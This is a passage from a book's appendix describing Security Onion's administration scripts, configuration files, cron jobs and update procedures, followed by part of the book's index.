/usr/sbin/nsm_server_backup-data The /usr/sbin/nsm_server_backup-data script backs up the sguild data to a user-specified tarball. 320

Appendix

]

/usr/sbin/nsm_server_clear The /usr/sbin/nsm_server_clear script clears all sguild data.

/usr/sbin/nsm_server_del The /usr/sbin/nsm_server_del script permanently deletes the Sguil server (sguild).

/usr/sbin/nsm_server_edit The /usr/sbin/nsm_server_edit script can be used to edit certain details of the sguild configuration.

/usr/sbin/nsm_server_ps-restart The /usr/sbin/nsm_server_ps-restart script can be used to restart sguild. $ sudo /usr/sbin/nsm_server_ps-restart Restarting: securityonion * stopping: sguil server * starting: sguil server

[ [

OK OK

] ]

[

OK

]

/usr/sbin/nsm_server_ps-start The /usr/sbin/nsm_server_ps-start script can be used to start sguild. $ sudo /usr/sbin/nsm_server_ps-start Starting: securityonion * starting: sguil server

/usr/sbin/nsm_server_ps-status The /usr/sbin/nsm_server_ps-status script can be used to check the status of sguild. $ sudo /usr/sbin/nsm_server_ps-status Status: securityonion * sguil server

[

OK

]

[

OK

]

/usr/sbin/nsm_server_ps-stop The /usr/sbin/nsm_server_ps-stop script can be used to stop sguild. $ sudo /usr/sbin/nsm_server_ps-stop Stopping: securityonion * stopping: sguil server

SO Scripts and Configuration

321

/usr/sbin/nsm_server_sensor-add The /usr/sbin/nsm_server_sensor-add script is used to add a sensor to the sguild configuration.

/usr/sbin/nsm_server_sensor-del The /usr/sbin/nsm_server_sensor-del script is used to delete a sensor from the sguild configuration.

/usr/sbin/nsm_server_user-add The /usr/sbin/nsm_server_user-add script is used to add a new sguild user. $ sudo /usr/sbin/nsm_server_user-add User Name Enter the name of the new user that will be granted privilege to connect to this server.: richard User Pass Enter the password for the new user that will be granted privilege to connect to this server.: Verify: Add User to Server The following information has been collected: server: user:

securityonion richard

Do you want to create? (Y/N) [Y]: y Adding user to server: richard => securityonion

SO Configuration Files Configuration files control how SO applications operate. Administrators can change the contents of some of these files to tailor how SO collects and interprets NSM data. The SO team configures SO with sensible defaults, but in some cases, changes may be appropriate. This section describes SO’s configuration files, including whether the SO team believes that administrators may sometimes need to make changes to them.

/etc/nsm/ /etc/nsm/ is the main configuration directory. It contains the following: administration.conf ossec/ pulledpork/ rules/

322

Appendix

securityonion/ securityonion.conf sensortab servertab templates/ $HOSTNAME-$INTERFACE

The final entry in this list will vary based on your hostname and the interfaces you choose to monitor. For example, the following is output from my sensor named securityonion with a single monitored interface (eth1): -rw-r--r-drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxrwxr-x -rw-r--r-drwxrwxr-x -rw-r--r--rw-r--r-drwxr-xr-x

1 2 2 3 3 1 2 1 1 8

root root root root sguil root sguil root root root

root root root root sguil root sguil root root root

247 4.0K 4.0K 4.0K 4.0K 37 4.0K 31 349 4.0K

Jul Feb Dec Feb Feb Feb Feb Feb Feb Dec

24 18 18 18 18 18 18 18 18 18

2012 16:16 11:15 16:16 16:16 16:16 16:17 16:16 16:16 11:14

administration.conf ossec pulledpork rules securityonion securityonion.conf securityonion-eth1 sensortab servertab templates

Let’s look at each of these files and directories in turn.

/etc/nsm/administration.conf The /etc/nsm/administration.conf file defines some filesystem locations for the NSM scripts. You should never need to change anything in this file.

/etc/nsm/ossec/ The /etc/nsm/ossec/ directory contains the OSSEC agent for Sguil (ossec_ agent.tcl) and its configuration file (ossec_agent.conf ). You probably won’t need to modify these files.

/etc/nsm/pulledpork/ The /etc/nsm/pulledpork/ directory contains the configuration files for PulledPork, which is responsible for downloading IDS rulesets from the Internet. The main configuration file for PulledPork is pulledpork.conf, but you’ll probably spend most of your time modifying disablesid.conf, enablesid .conf, and modifysid.conf to tune your ruleset.

/etc/nsm/rules/ The /etc/nsm/rules/ directory contains the IDS ruleset(s) downloaded by PulledPork and associated files that control the sensor processes. When PulledPork runs, it stores the rules in downloaded.rules. Don’t modify this file manually because PulledPork will overwrite it automatically the next time it runs. Instead, tune your ruleset using the files in /etc/nsm/pulledpork/. You can write your own rules and store them in local.rules. To tune a particular rule without totally disabling it, use threshold.conf. To specify a SO Scripts and Configuration

323

Berkeley Packet Filter (BPF) so that the sniffing processes will selectively ignore traffic from certain IP addresses, use bpf.conf. Bro automatically monitors this file for changes and will update it as needed. Other services (such as Snort and Suricata, PRADS, and Netsniff-ng) will need to be restarted for the change to take effect.

/etc/nsm/securityonion/ The /etc/nsm/securityonion/ directory contains the following Sguil server (sguild) configuration files: autocat.conf Used to configure Sguil to automatically categorize certain events. certs Contains the files used to secure communications between the Sguil server (sguild) and its agents and clients. server.conf Contains some general settings used to start sguild and should not need to be modified. sguild.access Used to control access to sguild. sguild.conf Contains general settings for sguild and probably doesn’t need to be changed. sguild.email Allows you to configure Sguil to automatically send email when certain events occur. sguild.queries Contains queries that can be accessed from the Sguil client by selecting Query4Standard Queries. sguild.users This file should not be modified.

/etc/nsm/securityonion.conf The /etc/nsm/securityonion.conf file contains the IDS_ENGINE, DAYSTOKEEP, and ELSA settings, which let you change the intrusion detection system (IDS) engine, the amount of time data is kept in the Sguil database, and whether ELSA is enabled, respectively. If you run the setup wizard and select Quick Setup, SO will default to using Snort as the IDS engine. If you choose Advanced Setup, SO will ask if you want to run Snort or Suricata. In either case, the setup wizard will set the IDS_ENGINE variable. If you later decide to change your IDS engine, you can stop all sensor processes, change the IDS_ENGINE setting, execute ruleupdate, and then restart all sensor processes. For example, suppose you ran the Quick Setup, giving you the default of Snort. If you want to try Suricata, do the following: $ sudo nsm_sensor_ps-stop Stopping: HIDS * stopping: ossec_agent (sguil) Stopping: Bro waiting for lock ........ ok stopping bro ...

324

Appendix

[

OK

]

Stopping: securityonion-eth1 * stopping: netsniff-ng (full packet data) * stopping: pcap_agent (sguil) * stopping: snort_agent-1 (sguil) * stopping: snort-1 (alert data) * stopping: barnyard2-1 (spooler, unified2 format) * stopping: prads (sessions/assets) * stopping: sancp_agent (sguil) * stopping: pads_agent (sguil) * stopping: argus * stopping: http_agent (sguil)

[ [ [ [ [ [ [ [ [ [

OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ]

$ sudo sed -i 's|ENGINE=snort|ENGINE=suricata|g' /etc/nsm/securityonion.conf $ sudo rule-update > /dev/null $ sudo nsm_sensor_ps-start Starting: HIDS * starting: ossec_agent (sguil) Starting: Bro starting bro ... Starting: securityonion-eth1 * starting: netsniff-ng (full packet data) * starting: pcap_agent (sguil) * starting: snort_agent (sguil) * starting: suricata (alert data) * starting: barnyard2 (spooler, unified2 format) * starting: prads (sessions/assets) * starting: pads_agent (sguil) * starting: sancp_agent (sguil) * starting: argus * starting: http_agent (sguil) * disk space currently at 26%

[

OK

]

[ [ [ [ [ [ [ [ [ [

OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ]

The DAYSTOKEEP variable allows you to define the retention policy for the Sguil database. A daily cronjob deletes any data in securityonion_db older than $DAYSTOKEEP. The default is 365. The ELSA variable is set when the setup wizard asks if you want to enable ELSA.

/etc/nsm/sensortab If the box is configured to monitor interfaces, this file contains the list of interfaces to be monitored. To disable the sniffing processes on an interface, you can temporarily stop interfaces as follows (replacing HOSTNAME-INTERFACE with your actual hostname and interface name): sudo nsm_sensor_ps-stop --sensor-name=HOSTNAME-INTERFACE

SO Scripts and Configuration

325

To disable an interface permanently, comment out the relevant line in /etc/nsm/sensortab. For example, suppose you ran the Quick Setup and were monitoring eth1, but then decided to move the sensor components off to a separate box, making this just a server and not a sensor. $ sudo nsm_sensor_ps-stop --sensor-name=securityonion-eth1 Stopping: HIDS * stopping: ossec_agent (sguil) Stopping: Bro stopping bro ... Stopping: securityonion-eth1 * stopping: netsniff-ng (full packet data) * stopping: pcap_agent (sguil) * stopping: snort_agent-1 (sguil) * stopping: snort-1 (alert data) * stopping: barnyard2-1 (spooler, unified2 format) * stopping: prads (sessions/assets) * stopping: sancp_agent (sguil) * stopping: pads_agent (sguil) * stopping: argus * stopping: http_agent (sguil)

[

OK

]

[ [ [ [ [ [ [ [ [ [

OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ]

$ sudo sed -i 's|securityonion-eth1|#securityonion-eth1|g' /etc/nsm/sensortab $ sudo service nsm status Status: securityonion * sguil server

[

OK

]

/etc/nsm/servertab If the box is configured as a server, the /etc/nsm/servertab file contains the internal name of the server (securityonion).

/etc/nsm/templates/ The /etc/nsm/templates/ directory contains template files for barnyard2, http_agent, prads, pulledpork, snort, and suricata. The setup wizard copies the template files from these directories into the target directories and customizes them using the choices you made during setup. You shouldn’t modify these files.

/etc/nsm/$HOSTNAME-$INTERFACE/ You’ll have an /etc/nsm/$HOSTNAME-$INTERFACE/ directory for each interface that you choose to monitor. For example, suppose your hostname is securityonion and you have a quad-port network interface card (eth0, eth1, eth2, and eth3), but you choose to monitor only eth1 and eth2. You will have the following sensor configuration directories:

326

Appendix

/etc/nsm/securityonion-eth1/ /etc/nsm/securityonion-eth2/

Let’s look at the files in each of these directories. barnyard2.conf The barnyard2.conf file configures barnyard2, the process used to pick up unified2 output from Snort or Suricata and insert the alerts into Sguil, Snorby, or ELSA. There may be multiple barnyard2.conf files to handle multiple instances of Snort. You generally don’t need to modify this file unless you decide to add or remove some of the outputs. For example, you might decide to stop sending IDS alerts to ELSA, and forward them to a corporate security information event management platform instead. bpf.conf files A global configuration file called bpf.conf at /etc/nsm/rules/bpf.conf applies to all processes on all interfaces by default. Each process on each interface has its own .bpf file, but by default, the per-process .bpf files are symlinked to the interface bpf, and the interface bpf is symlinked to the global bpf.conf, as shown here: lrwxrwxrwx lrwxrwxrwx lrwxrwxrwx lrwxrwxrwx lrwxrwxrwx

1 1 1 1 1

root root root root root

root 8 Feb 18 16:16 root 23 Feb 18 16:16 root 8 Feb 18 16:16 root 8 Feb 18 16:16 root 8 Feb 18 16:16

bpf-bro.conf -> bpf.conf bpf.conf -> /etc/nsm/rules/bpf.conf bpf-ids.conf -> bpf.conf bpf-pcap.conf -> bpf.conf bpf-prads.conf -> bpf.conf

To specify a bpf per-interface or per-process, simply replace the default symlinks with the desired bpf files and restart services as necessary. http_agent.conf http_agent sends Bro HTTP logs into the Sguil database, and http_agent.conf allows you to configure which HTTP logs are included. For example, you may want to exclude high-traffic sites that your users normally visit in order to avoid bloating the Sguil database. If you’re running ELSA, you may want to disable http_agent altogether to prevent duplication of effort, since all Bro HTTP logs can be found in ELSA. pads_agent.conf The pads_agent.conf file configures pads_agent, which takes asset data from PRADS and inserts it into Sguil. You generally don’t need to change anything here.

SO Scripts and Configuration

327

pcap_agent.conf The pcap_agent.conf file configures the pcap_agent, which allows the Sguil server to request a pcap from the sensor’s pcap store. You probably won’t need to change anything here. prads.conf The prads.conf file configures PRADS, a replacement for PADS and SANCP. PRADS creates both asset data and session data. If you’re monitoring anything other than RFC 1918 address ranges, update the home_nets variable in this file. sancp_agent.conf The sancp_agent.conf file configures the sancp_agent, which takes session data from PRADS and inserts it into Sguil. You probably won’t need to change anything here. sensor.conf The sensor.conf file contains a few different variables referenced by the NSM scripts when starting processes. Most settings should remain at their default, but you may need to tune IDS_LB_PROCS, which controls how many PF_RING load-balanced processes are instantiated for Snort and Suricata. The setup wizard will automatically ask you how many PF_RING instances you would like for Snort or Suricata and Bro (assuming you choose Advanced Setup and you have multiple cores). If you need to adjust this setting after setup, stop the NSM processes, modify the IDS_LB_PROCS variable in sensor.conf, and then restart the NSM processes. If you’re running Snort, the script automatically spawns $IDS_LB_PROCS instances of Snort (using PF_RING), barnyard2, and snort_agent. If you’re running Suricata, the script automatically copies $IDS_LB_PROCS into suricata .yaml, and then Suricata spins up the PF_RING instances itself. Since Suricata is managing the PF_RING instances, it creates only one unified2 output, and therefore only one instance of barnyard2 and snort_agent are needed. In the following example, we start with the default of IDS_LB_PROCS=1, increase the setting to 2, and then restart the NSM processes. Notice that we end up with two snort processes, two snort_agent processes, and two barnyard2 processes. $ sudo nsm_sensor_ps-stop Stopping: HIDS * stopping: ossec_agent (sguil) Stopping: Bro stopping bro ... Stopping: securityonion-eth1 * stopping: netsniff-ng (full packet data) * stopping: pcap_agent (sguil) * stopping: snort_agent-1 (sguil)

328

Appendix

[

OK

]

[ [ [

OK OK OK

] ] ]

* * * * * * *

stopping: stopping: stopping: stopping: stopping: stopping: stopping:

snort-1 (alert data) barnyard2-1 (spooler, unified2 format) prads (sessions/assets) sancp_agent (sguil) pads_agent (sguil) argus http_agent (sguil)

[ [ [ [ [ [ [

OK OK OK OK OK OK OK

] ] ] ] ] ] ]

$ sudo sed -i 's|IDS_LB_PROCS=1|IDS_LB_PROCS=2|g' /etc/nsm/securityonion-eth1/ sensor.conf $ sudo nsm_sensor_ps-start Starting: HIDS * starting: ossec_agent (sguil) Starting: Bro starting bro ... Starting: securityonion-eth1 * starting: netsniff-ng (full packet data) * starting: pcap_agent (sguil) * starting: snort_agent-1 (sguil) * starting: snort_agent-2 (sguil) * starting: snort-1 (alert data) * starting: snort-2 (alert data) * starting: barnyard2-1 (spooler, unified2 format) * starting: barnyard2-2 (spooler, unified2 format) * starting: prads (sessions/assets) * starting: pads_agent (sguil) * starting: sancp_agent (sguil) * starting: argus * starting: http_agent (sguil) * disk space currently at 26%

[

OK

]

[ [ [ [ [ [ [ [ [ [ [ [ [

OK OK OK OK OK OK OK OK OK OK OK OK OK

] ] ] ] ] ] ] ] ] ] ] ] ]

As a sidenote, if you want to change the number of load-balanced processes for Bro, edit /opt/bro/etc/node.cfg and change the lb_procs variable, and then issue the following commands: sudo broctl install sudo broctl restart

snort_agent.conf The snort_agent.conf file configures the snort_agent, which takes alerts from barnyard2 and inserts them into the Sguil database. You probably don’t need to change anything here. There may be multiple snort_agent.conf files to handle multiple instances of Snort. snort.conf The snort.conf file configures Snort. Even if you’ve set IDS_LB_PROCS greater than 1, there will be only one snort.conf file, to ensure that Snort instances on the same interface are configured identically. SO Scripts and Configuration

329

suricata.yaml The suricata.yaml file configures Suricata. The NSM scripts copy $IDS_LB_PROCS from sensor.conf into suricata.yaml, and then Suricata spins up the PF_RING instances itself.

/etc/cron.d/ The /etc/cron.d/ directory contains some important cronjobs, so let’s look at each of these. This cronjob runs the recommended broctl cron every five minutes to ensure that Bro is running properly. elsa This cronjob runs the default ELSA cronjob every minute. nsm-watchdog This cronjob checks the NSM sensor processes every five minutes, and restarts them if they have failed. rule-update This cronjob runs rule-update at 7:01 AM Universal Coordinated Time (UTC). If the NSM box is a stand-alone or server, rule-update will use PulledPork to download a new IDS ruleset from the Internet. If the box is a sensor, it will wait a few minutes for the server download to complete, and then use scp to copy the new IDS ruleset from the server to the local sensor. This script also copies tuning files such as threshold.conf and bpf.conf, allowing you to make changes in one place (your central server) that will apply to all of your distributed sensors automatically. sensor-clean This is an hourly cronjob that prevents full packet capture and other logfiles from filling your disk. If disk usage is above 90 percent, the oldest day’s worth of NSM data (pcaps, Bro logs, and so on) are deleted. This is repeated until the disk usage is below 90 percent. sensor-newday This daily cronjob runs at midnight to restart any services that may be dealing with date-based output and need to roll to a new date stamp. sguil-db-purge This daily cronjob runs at 5:01 AM UTC and performs database maintenance, including deleting any data older than $DAYSTOKEEP (as defined in /etc/nsm/securityonion.conf ) and repairing any corrupted MySQL tables. squert-ip2c This cronjob updates Squert’s IP-to-country (GeoIP) mappings. bro

Bro Bro is installed in /opt/bro/ and its configuration files can be found in /opt/bro/etc/.

330

Appendix

CapMe CapMe is a PHP-based web interface used to pull ASCII transcripts of TCP sessions. Its PHP scripts and other resource files can be found in /var/www/ capme/. Generally, these files do not need to be modified.

ELSA ELSA’s core files can be found in /opt/elsa/. Generally, you may need to modify settings in its two main configuration files: /etc/elsa_web.conf This file configures the Apache web frontend of ELSA. It will be present if you chose a stand-alone or server installation and chose to enable ELSA. /etc/elsa_node.conf This file configures the log node backend of ELSA. It will be present if you chose a stand-alone or sensor installation and enabled ELSA.

Squert Squert is a web interface for the Sguil database written in PHP. The PHP scripts and other resource files can be found in /var/www/squert/. You generally don’t need to modify anything in this directory.

Snorby Snorby is a web interface for IDS alerts written using Ruby on Rails. Its scripts and other resource files can be found in /opt/snorby/. Configuration files can be found in /opt/snorby/config/.

Syslog-ng Syslog-ng is used by ELSA, and its configuration files can be found in /etc/syslog-ng/.

/etc/network/interfaces The /etc/network/interfaces file configures your network interfaces. The setup wizard will automatically configure this file for you if you choose Yes, configure /etc/network/interfaces. You’ll want a management interface (preferably connected to a dedicated management network) using either DHCP or preferably static IP. If your management interface uses DHCP and you have Bro in cluster mode, it will complain whenever your DHCP address changes, and you’ll need to update your IP address in Bro’s node.cfg file. A static IP is highly recommended to prevent this problem.

SO Scripts and Configuration

331

You’ll want one or more interfaces dedicated to sniffing, with no IP addresses. Network interface card offloading functions such as tso, gso, and gro should be disabled to ensure that Snort and Suricata get an accurate view of the traffic (see http://securityonion.blogspot.com/2011/10/ when-is-full-packet-capture-not-full.html). The following are some sample network/interfaces entries. auto lo iface lo inet loopback # Management interface using DHCP (not recommended due to Bro issue described above) auto eth0 iface eth0 inet dhcp # OR # Management interface using STATIC IP (instead of DHCP) auto eth0 iface eth0 inet static address 192.168.1.14 gateway 192.168.1.1 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 dns-nameservers 192.168.1.1 192.168.1.2 # AND one or more of the following # Connected to TAP or SPAN port for traffic monitoring auto eth1 iface eth1 inet manual up ifconfig $IFACE -arp up up ip link set $IFACE promisc on down ip link set $IFACE promisc off down ifconfig $IFACE down post-up for i in rx tx sg tso ufo gso gro lro; do ethtool -K $IFACE $i off; done post-up echo 1 > /proc/sys/net/ipv6/conf/$IFACE/disable_ipv6

Updating SO Two aspects of updating SO deserve mention: keeping the platform up-todate and keeping MySQL up-to-date.

Updating the SO Distribution Since all SO packages are in a standard Ubuntu Launchpad Personal Package Archive (PPA), you can use standard Ubuntu package management tools to update all packages. You can use the graphical Update Manager, or update from the command line like this: sudo apt-get update && sudo apt-get dist-upgrade

332

Appendix

Updating MySQL Updating the Ubuntu MySQL packages can be problematic due to autossh port forwarding and other issues. Here’s the recommended procedure to ensure a smooth MySQL update. 1.

Stop all services: sudo sudo sudo sudo sudo

2.

service nsm stop service syslog-ng stop service apache2 stop pkill autossh pkill perl

Check the process listing and verify that all nsm/syslog-ng/apache/autossh/ perl processes have stopped: ps aux

3.

Install the MySQL updates. Other updates (such as securityonion-snorby) may require MySQL to be running, so update MySQL by itself:

sudo apt-get update && sudo apt-get install mysql-server mysql-server-core-5.5 mysql-server-5.5

4.

Reboot the system: sudo reboot

SO Scripts and Configuration

333

INDEX A Address Resolution Protocol (ARP), 16, 140–142 address translation, 42–45 administration.conf, 322–323 administrators, as within IDC, 203–204 Advanced Package Tool (APT), 65 Advanced Persistent Threat (APT), 193 APT1, 193, 202, 277–278. See also APT1 module resources, 190 adversary simulation, 187 Air Force Computer Emergency Response Team (AFCERT), 3 alert data, 28–30 American Registry for Internet Numbers (ARIN), 40 Amin, Rohan, 190 analysis, as element of detection phase, 188, 193–195 “anatomy of a hack,” 190–191 Andre, Jen, 305 Applied Threat Intelligence (ATI) Center, 203–204 APT (Advanced Package Tool), 65 APT (Advanced Persistent Threat), 193 APT1, 193, 202, 277–278. See also APT1 module resources, 190 APT1 module, 278 installing, 280 testing, 280–283 using, 278–279 apt-get

and configuring SO sensor, 94 installing APT1 module, 280 and setting up an SO server, 89–90 for updating packages, 64, 77, 80, 88–90, 94, 101 upgrade vs. dist-upgrade, 65–66 architects, as within IDC, 203–204

Argus as alternative to NetFlow, 202 counting bytes in session data using, 169 as data collection tool, 115 log storage location, 106 and Ra client, 128–133 and Racluster client, 130–132, 248 as source of session data, 22, 248 ARIN (American Registry for Internet Numbers), 40 ARP (Address Resolution Protocol), 16, 140–142 AS (autonomous system), 28 ASIM (Automated Security Incident Measurement), 3 asset-centric security, 199 associate analyst, in ATI, 203–204 ATI (Applied Threat Intelligence) Center, 203–204 autocat.conf, 324 autonomous system (AS), 28 autossh, as tunnel for SO data, 84, 97, 333 Automated Security Incident Measurement (ASIM), 3

B Baker, Michael, 306 barnyard2.conf, 327 Berkeley Packet Filter (BPF), 118–123, 130, 230, 280 Bianco, David, 32, 193 BPF (Berkeley Packet Filter), 118–123, 130, 230, 280 bpf-bro.conf, 327 bpf.conf, 324, 327 breaches classification of, 194, 208, 219, 232, 237 inevitability of, 5 and notifications, 196–197

Bro as alternative to NetFlow, 202 APT1 module, 278 installing, 280 testing, 280–283 using, 278–279 capture_loss.log, 243–244 checksum validation with, 298–302 creating hashes of executables with, 264 counting bytes in session data, 169 as data collection tool, 115 DNS logs generated by, 225–226, 244–246 extracting binaries with, 266–273 FTP logs generated by, 228–229 integration with Malware Hash Registry, 285–288 log storage location for, 106 restarting with broctl, 275–277, 283, 329–330 as source of HTTP transaction data in Sguil, 165, 167 as source of logs in ELSA, 178–180, 240, 242 as source of session data, 21 as source of transaction data, 22–23 SSH logs generated by, 226–227 Bullard, Carter, 128 Burks, Doug, 55, 167

C campaigns, for tracking adversary activity, 199–201 CapMe as accessed from ELSA, 180, 250–251 as accessed from Snorby, 174–177 as data delivery tool, 115 CIRT (computer incident response team), 4, 203–205 checksums bad checksums, 298 telling Bro to ignore, 298–301 telling Snort to ignore, 302 for error detection in IP packets, 304 using Tshark to identify, 297–298 Cisco, as switch vendor, 12, 48 client-side compromises, 235–237 Cloppert, Michael, 190 336

Index

cloud computing, 304–307 CloudShark, 308 collection, as element of detection phase, 188–191 Combs, Gerald, 122 command-and-control (C2) channel, 190–194, 208, 237, 250–251 compromises client-side, 235–237 phases of, 190 server-side, 207–208 computer incident response team (CIRT), 4, 203–205 conn.log, as generated by Bro, 21, 242–243 Constituent Relations Team, 203, 205 containment speed of, 199–200 techniques for, 198 continuous monitoring, 8–9 Costa, Gianluca, 147 cron, for periodic execution of commands, 107, 330 cronjobs, to execute commands, 316–317, 325, 330

D datatypes, 16, 160 alert data, 28–30 extracted content data, 19–20 full content data, 16–18 metadata, 26–28 session data, 21–22 statistical data, 24–26 transaction data, 22–23 date command, translating Unix epoch to human readable format, 106 DAYSTOKEEP variable, 108 De Francheschi, Andrea, 147 defensible network architecture, 196 demilitarized zone (DMZ), 11, 37–46 df, to check partition utilization, 108 Digital Corpora, 147, 151, 154 Director of Incident Response, 203–204 disablesid.conf, 323 display filters, as used in Wireshark and Tshark, 125–128 DMZ (demilitarized zone), 11, 37–46 dns.log, as generated by Bro, 23, 243–246, 282

du, to check directory utilization, 108 Dumpcap, usage of, 123–124

E ELSA (Enterprise Log Search and Archive), usage of, 178–182 elsa_node.conf, 108, 323, 331 elsa_web.conf, 331 enablesid.conf, 323 engineers, as within IDC, 203–204 Enterprise Log Search and Archive (ELSA), usage of, 178–182 enterprise security cycle, 5, 186 phases of, 187 escalation, as element of response phase, 188, 193–197 /etc/network/interfaces, 87–88 event analyst role, 203–204 event classification, 195 extracted content data, 19–20

and transaction data, 22–23 and URL events, 167 hunting (IOC-free analysis), 193 Hutchins, Eric, 190

I

Garfinkel, Simson, 147, 229, 291 Gredler, Hannes, 116

ICMP (Internet Control Message Protocol) example intrusion, 212, 214 searching Bro SSH logs, 226 and Tcpdump, 119–128 and Wireshark, 142 incident analyst role, 203–204 Incident Detection and Response Center, 203–204 incident handler role, 203–204 indicator of compromise (IOC) as intelligence format, 188–189, 193, 202, 277, 279 OpenIOC, as schema for IOC, 278 Infrastructure and Development Center, 203–204 Internet Control Message Protocol. See ICMP (Internet Control Message Protocol) intrusion categories, 194 intrusion kill chain, 190–192 intrusion prevention, 5 IOC (indicator of compromise) as intelligence format, 188–189, 193, 202, 277, 279 OpenIOC, as schema for IOC, 278 IOC-centric analysis (matching), 193, 202 IOC-free analysis (hunting), 193 Iodine covert tunnel tool, 255–259 IP addresses, 39–41

H

M

Halliday, Paul, 173, 174 Harris, Guy, 116 Heberlein, Todd, 3 Hjelmvik, Erik, 153 Holste, Martin, 178, 245 http_agent.conf, 327 http.log, as generated by Bro and bad checksums, 299, 300–301 extracting binaries from HTTP traffic, 269–270, 277 querying, 243 tracking executables, 264

Malware Hash Registry (MHR), 283–288 Mandia, Kevin, 193 Mandiant APT1 report, 190, 193, 202, 277–278 involvement with South Carolina DoR, 6–8 M-Trends Report, 190 as platform for tracking key incident measurements, 307

F Fenner, Bill, 116 find command, to process traffic, 122, 128 for command, to process traffic, 122, 128 F-Response, 189 ftp.log, as generated by Bro, 228–229, 272–273 full content data, 16–18

G

Index

337

Mandiant for Intelligent Response (MIR), 189 matching (IOC-centric analysis), 193, 202 metadata, 26–28 Metasploit, 239–241, 248, 251 Metasploitable, 221 Meterpreter, as Metasploit component, 240–241, 248, 251–255 MHR (Malware Hash Registry), 283–288 modifysid.conf, 323 MySQL database storage location, 105 keeping software up-to-date, 333 query to determine storage usage, 107 setting up on SO using PPA, 89, 94 as SO database, 76, 115, 167–169, 178, 180 as target of data theft, 228–232

N NAT (network address translation), 42–43 drawback with NSM, 31 network visibility, 45–46 vs. proxy, 294 National Institute of Standards and Technology (NIST), 304 net blocks, 39–41 Net Optics, as tap vendor, 12, 48 Netsniff-ng, as data collection tool, 115, 170, 172, 244 network address translation (NAT), 42–43 drawback with NSM, 31 network visibility, 45–46 vs. proxy, 294 NetworkMiner counting bytes in session data using, 169 usage of, 153–157 network port address translation (NPAT), 43–46 network security monitoring. See NSM (network security monitoring) network taps, 48, 49

338

Index

network visibility capturing traffic on a client or server, 49 locations for, 45–46 network taps for, 48 switching SPAN ports for, 47–48 vs. network taps, 50 NIST (National Institute of Standards and Technology), 304 notice.log, as generated by Bro analyzing with ELSA, 242–243 with APT1 module, 279, 282 extracting binaries from HTTP traffic, 277 hashing downloaded executables with Bro, 264 and malicious downloads, 286 NPAT (network port address translation), 43–46 NSM (network security monitoring) benefit to CIRTs, 4 as continuous business process, 4 datatypes, 16, 160 definition of, 3 efficacy of, 12–13, 31 how to win with, 10 legality of, 13–14 protecting user privacy when conducting, 14 purchasing, 31–32 relationship to other approaches, 9–10 resources, 32 simple setup, 10–11 NSMNow, 311 /nsm/sensor_data//dailylogs directory, 105–106, 116, 122, 128–129, 136–137

O OpenIOC format, 278 OpenSSH for communications among distributed SO platforms, 82–83 for connecting via SOCKS proxy, 103 as logged by Bro, 277 for sensor administration, 51, 88, 94, 124

for X forwarding, 95–97 as used by an intruder, 232–233 OSSEC, 115, 165, 182, 227 ossec_agent.conf, 323

P Packetloop, 306 pads_agent.conf, 327 Passive Real-Time Asset Detection System. See PRADS (Passive Real-Time Asset Detection System) pcap_agent.conf, 328 pcap file format, 50, 76, 114, 115 pcap-filter man page, 120 penetration testing, 187 People’s Liberation Army. See APT (Advanced Persistent Threat) Poison Ivy, 288 PPA (Personal Package Archive), 59. See also SO (Security Onion): installation of PRADS (Passive Real-Time Asset Detection System) counting bytes in session data using, 169 as source of NSM data, 115 with Sguil, 165, 167–169, 210–211 similarity to Bro’s connection logs, 180 prads.conf, 328 principal analyst, in ATI, 203–204 Prosise, Chris, 193 protecting user privacy, 14 protocol analyzer, 116 proxies, 289–294 pulledpork.conf, 323 PuTTY, for SOCKS proxy access, 103–105

R ra.conf. See /tmp/ra.conf RAT (remote access trojan), 288 red teaming, 187 Regional Internet Registry (RIR), 40 remote access trojan (RAT), 288 resolution, as element of response phase, 188, 198–201

retrospective security analysis, 30 Richardson, Michael, 116 RIR (Regional Internet Registry), 40 Risso, Fulvio, 116 RobTex, 28, 132 routing, 28, 34, 49, 198, 299

S SANCP (Security Analyst Network Connection Profiler) database table, 167 querying via Sguil, 167–169, 211–212, 223 as source of session data, 22, 167 sancp_agent.conf, 328 SANS Internet Storm Center (ISC) Port Report, 132 Security Analyst Network Connection Profiler. See SANCP (Security Analyst Network Connection Profiler) Security Onion. See SO (Security Onion) securityonion.conf, 108, 324–325 SecurixLive, 311 senior analyst, in ATI, 203–204 sensor hardware estimating hard drive space for, 51 requirements for, 49–50 sensor.conf, 328 sensor_cleandisk() function, 107 sensor management, recommendations for, 51–52 server.conf, 324 server-side compromises, 207–208 session data, 21–22 Sguil agents, 115, 312 for analyzing a client-side intrusion, 210–224 databases used by, 107–108 incident category definitions in, 172 key functions, 164 managing the Sguil database, 108 transcript data storage, 172 usage of categorizing alert data, 172–173 metadata and related data, 164–165 pivoting to full content data, 169–171

Index

339

Sguil, usage of (continued) querying alert data, 165–167 querying session data, 167–169 running, 161–163 simple aggregation, 164 username and password during SO setup, 68–69, 79 sguil-db-purge script, 108 sguild.conf, 324 Snorby as console to view alert data, 29, 71–73 email address requirement during SO setup, 69, 79 usage of, 174–178 Snort alerts within ELSA generated by, 180, 240–243, 248 alerts within Sguil generated by, 210, 215–216 configuring checksum mode in, 302 configuring X-Forwarded-For in, 294 as console to view alert data, 29–30, 210–11, 214–216 as console to view session data, 22, 211–214 as element in pcap log file name, 105–106 as source of alert data, 28, 30, 115, 164–165 snort_agent.conf, 329 snort.conf, 319, 329 snort.log., as full content data generated by Netsniff-ng, 105 SO (Security Onion) core tools, 116 data collection tool category of, 115 data delivery tool category of, 115 data presentation tool category of, 114 data storage with, 105–106 estimating database storage of, 107–108 estimating filesystem storage of, 108 installation of, sensor system via .iso, 80–84 sensor system via PPA, 92–96 server system via .iso, 77–80 server system via PPA, 85–91 stand-alone system, 59–73 340

Index

